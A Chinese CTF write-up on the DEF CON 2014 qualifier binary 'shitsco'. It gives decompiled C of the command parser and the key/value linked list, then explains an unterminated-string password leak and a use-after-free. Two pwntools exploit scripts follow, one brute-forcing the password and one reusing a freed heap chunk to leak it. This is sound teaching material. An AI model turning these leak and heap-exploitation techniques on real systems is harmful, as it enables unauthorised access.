Defcon-ctf-quals-2014-shitsco

pwn选手养成第一篇,字符串信息泄露与释放后使用漏洞。

程序可在CTFS下载。

程序分析

运行程序

看到为一个简单的网络设备终端,与现实的很像,存在如下命令,enable需要密码进入管理模式,ping和tracert是调用了系统的命令,shell没有任何反应,set和show可以用来设置与显示参数

试了一会儿大致了解其工作过程。

反编译

在主函数里面,主要是这三个函数,分别为将密码读取到内存中,输入字符串(命令),处理字符串(命令),另外还要注意的就是当前权限是0

其中,读取密码的函数如下,它将服务端这个密码读入到bss区:

读入字符串的函数如下,参数表示从标准输入(文件描述符0)里读入,最多80个字节到a2,读到'\n'时结束,这里可以看出若是刚好输入80个字节,那么这个字符串可以不以'\n'结束:

接着看看处理字符串的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
int __usercall handle@<eax>(char *inputStr)
{
char *p; // edi@0
char *name; // ebx@1
struc_1 *strucArrayPtr; // ebp@2
int v4; // esi@2
size_t nameLen; // eax@3
char i; // al@6
_BYTE *j; // eax@9
char *p2; // ebx@14
int argNum; // ST14_4@14
char **argv; // eax@14
char v11; // dl@15
char *k; // eax@15
_BYTE *l; // edx@18
char **v14; // eax@25
char **v16; // eax@33
char **ptr; // [sp+18h] [bp-24h]@2
int v18; // [sp+1Ch] [bp-20h]@1

name = s2.cmdName;
v18 = 0;
if ( s2.cmdName )
{
ptr = 0;
strucArrayPtr = &s2;
v4 = 0;
do
{
nameLen = strlen(name);
if ( !strncmp(inputStr, name, nameLen) )
{
if ( inputStr )
p = inputStr;
for ( i = *p; *p == ' '; i = *p ) // È¥µô¶àÓà¿Õ¸ñ
++p;
if ( i )
{
for ( j = p + 1; *j; ++j )
{
p = j + 1;
if ( *j == ' ' )
{
*j = 0;
goto LABEL_14;
}
}
p = j;
}
LABEL_14:
p2 = p;
argNum = strucArrayPtr->argNum;
argv = (char **)malloc(4 * strucArrayPtr->argNum + 4);
ptr = argv;
if ( argNum <= v4 )
{
v14 = &argv[v4];
LABEL_26:
*v14 = 0;
if ( strucArrayPtr->needPriv > currentPriv )
return 0;
}
else
{
while ( 1 )
{
v11 = *p2;
for ( k = p2; *k == ' '; v11 = *k ) // È¥¿Õ¸ñ
++k;
if ( !v11 )
{
p = k;
goto LABEL_33;
}
for ( l = k + 1; *l; ++l )
{
p2 = l + 1;
if ( *l == ' ' )
{
*l = 0;
goto LABEL_23;
}
}
p2 = l;
LABEL_23:
if ( !k )
break;
ptr[v4++] = (char *)__strdup((int)k);
if ( strucArrayPtr->argNum <= v4 )
{
p = p2;
v14 = &ptr[v4];
goto LABEL_26;
}
}
p = p2;
LABEL_33:
v16 = &ptr[v4];
*v16 = 0;
*v16 = 0;
if ( strucArrayPtr->needPriv > currentPriv )
return 0;
}
((void (__cdecl *)(char **))strucArrayPtr->func)(ptr);
v18 = 1;
}
++strucArrayPtr;
name = strucArrayPtr->cmdName;
}
while ( strucArrayPtr->cmdName );
if ( ptr )
free(ptr);
}
return v18;
}

就是如此复杂,里面有个关键就是要把一个结构体弄懂,其实这里个程序存在两个重要的结构体,如下,第一个是此时所说的,存储的是命令信息,第二个是存在漏洞的地方,等下说:

首先遇到的就是第一个结构体,这是根据规律识别出来的,每一个结构如上,包含命令名称,命令说明,需要的权限,可以接受的参数,处理函数

继续回到上面这个handle函数,它先识别用户输入的命令,然后申请参数个数加一个指针空间,再复制每个参数,并将地址按次序写入ptr所指向的地址数组,这个过程它会检查命令所需权限与当前权限是否匹配。
接着分析这些命令与其处理函数,发现有个叫flag的命令很可疑,查看内部发现是读取flag并输出,但是它需要的权限是1(见上图的),默认权限是0

自然想到了enable命令,它可以提升权限,它可以接受一个参数,为密码,若不输入将在函数内部等待输入,可以看到会将输入与之前读取的密码作比较,若正确将会设置当前权限为1,那么可能就存在信息泄露漏洞了:

其他的命令都没什么,只有setshow可能有用,毕竟按套路要是存在堆漏洞都是先创建再释放什么的,那先看看set,它的外层只是判断是否至少有一个参数,内层才是重点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
void __cdecl sub_8048EF0(char *argv, char *argv1)
{
const char *keyName; // eax@1
struct dictList *nodePtr; // esi@2
struct dictList *nextNode; // ebx@6
int v5; // eax@10
struct dictList *v6; // edx@11
struct dictList *newNode; // eax@16
struct dictList *v8; // ebx@16
struct dictList *preNode; // eax@22

keyName = (const char *)firstNode.key;
if ( !argv1 || firstNode.key ) // ûÓÐÖµ»òÕßÊǷǵÚÒ»¸öÔªËØ
{
for ( nodePtr = &firstNode; ; nodePtr = nextNode )
{
nextNode = nodePtr->nextNode;
if ( !nextNode ) // µÚ¶þ¸öÔªËØΪ¿Õ
break;
if ( keyName && !strcmp(keyName, argv) )
{
if ( argv1 )
goto LABEL_19;
preNode = (struct dictList *)nodePtr->preNode;
if ( !preNode || (preNode->nextNode = nextNode, (nextNode = nodePtr->nextNode) != 0) )
nextNode->preNode = (int)preNode;
LABEL_13:
free((void *)nodePtr->value);
free((void *)nodePtr->key);
nodePtr->key = 0;
nodePtr->value = 0;
if ( nodePtr != &firstNode )
free(nodePtr);
return;
}
keyName = (const char *)nextNode->key;
}
if ( keyName && !strcmp(keyName, argv) )
{
if ( argv1 )
{
LABEL_19:
free((void *)nodePtr->value);
nodePtr->value = __strdup((int)argv1);
return;
}
v5 = nodePtr->preNode;
if ( v5 )
{
*(_DWORD *)(v5 + 8) = 0;
v6 = nodePtr->nextNode;
if ( v6 )
v6->preNode = v5;
}
goto LABEL_13;
// µ½ÁËÕâÀï˵Ã÷ÊÇÖ¸¶¨ÁËÒ»¸öеļü
}
if ( argv1 )
{
newNode = (struct dictList *)calloc(1u, 0x10u);
nodePtr->nextNode = newNode;
v8 = newNode;
newNode->preNode = (int)nodePtr;
newNode->key = __strdup((int)argv);
v8->value = __strdup((int)argv1);
}
else
{
__printf_chk(1, "You must set a value for %s\n", argv);
}
}
else
{
firstNode.key = __strdup((int)argv);
firtValue = __strdup((int)argv1);
}
}

这里用到了上面提到的第二个结构体,即当设置一个键值对是,会生成一个结构体,它包含四个元素键,值,下一个键值对,上一个键值对,经分析它完全没有必要使用双向链表,很可疑呀,另外,它的第一个结构体存在bss里,是比较特殊的存在,仔细分析,它的逻辑是,当set的是键值对且第一个结构体的键指向null时将其写入第一个结构体,其他时候,若只指定键将遍历链表并将其删除,在删除时,它会先释放这个结构体中键值所指向内存,再将值设为null,最后将整个结构体释放,但是对于第一个结构体,它不会被释放,因为它不是动态分配的,于是摘除第一个结构体时,只会清空它的键值,nextNode仍然会指向第二个结构体,这是正常的,但若是此时再次释放第二个结构体,由于第一个结构体已经’释放’,第二个的preNode将为空,将不会对第一个结构体做操作,使其nextNode指向第二个结构体的nextNode,而第一个却确确实实存放着第二个的指针且在show时将会用到:

于是存在UAF漏洞,可以用来读取hasReadPwd的内容。

方法一

这是简单的方法,在enable函数里面,若是传入的参数里面没有密码,将在内部输入,调用了上面提到的readStr函数,这个函数不会在输入字符串后填'\0',而下面的比较与输出函数都会以'\0'作为结束符,另外s2这个字符数组是没有初始化的,它的长度为32字节,上面即是v4,v4为strcmp的结果:

所以,输入32个字符一定能多输出一个字符,要是没有,那说明这32个字符就是passwd,于是可以一位一位的猜passwd,不采用二分法最多也只需要127*32次(其实可以只猜可见字符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
#import string

p = process('shitsco_c8b1aa31679e945ee64bde1bdb19d035')
#p = remote('shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me',31337)

#charSet = string.digits+string.letters+string.punctuation

p.recv()
passwd = ''

for i in range(0,32+1):
for c in range(32,126+1):
tmp = passwd+chr(c)+(32 - 1 - len(passwd))*'\xff'
p.sendline('enable')
p.send(tmp)
p.recvuntil("Nope. The password isn't ")
ans = p.recv(33)
if ans[32:33]=='\xff':
passwd += chr(c)
print passwd
break
if c==126:
print "Eerr0r"
p.close()
exit()
p.close()
print "the passwd is:%s"%(passwd)

结果:

方法二

如程序分析,存在uaf漏洞,一个dictList结构体16字节,于是当释放第二个结构体后,申请16字节即可再次使用chunk,它被保存在fastbins里,那么第一个字节将不会被覆盖为指针,即使释放后仍然可用,而show会使用被释放后的结构体,输出内存信息。当然,可以直接这个chunk,如set lala (address,address,'a'*8),这里值会存储在刚才被释放的chunk里,其他类似,只要保证第一个大小为16的chunk(对齐)里前两个域里有指向hasReadPwd的指针即可,利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

p = process('shitsco_c8b1aa31679e945ee64bde1bdb19d035')
#p = remote('shitsco_c8b1aa31679e945ee64bde1bdb19d035.2014.shallweplayaga.me',31337)

hasReadPwd = 0x0804c3a0

print p.recv()

p.sendline('set a 123')
p.sendline('set b '+'1'*5)
p.sendline('set c 1')
#gdb.attach(p)
p.sendline('set a')
p.sendline('set b')
p.sendline('set c')

payload = 'set a '+p32(hasReadPwd)*2+'a'*8
gdb.attach(p)
p.sendline(payload)
p.recv()
p.sendline('show')
print p.recv()

结果:

……..

总结

逆向分析就是一个猜测的过程,猜这个函数是什么意思,猜测会怎么写,而ida的F5就是指导反汇编的,当弄清楚了程序流就很容易发现问题了~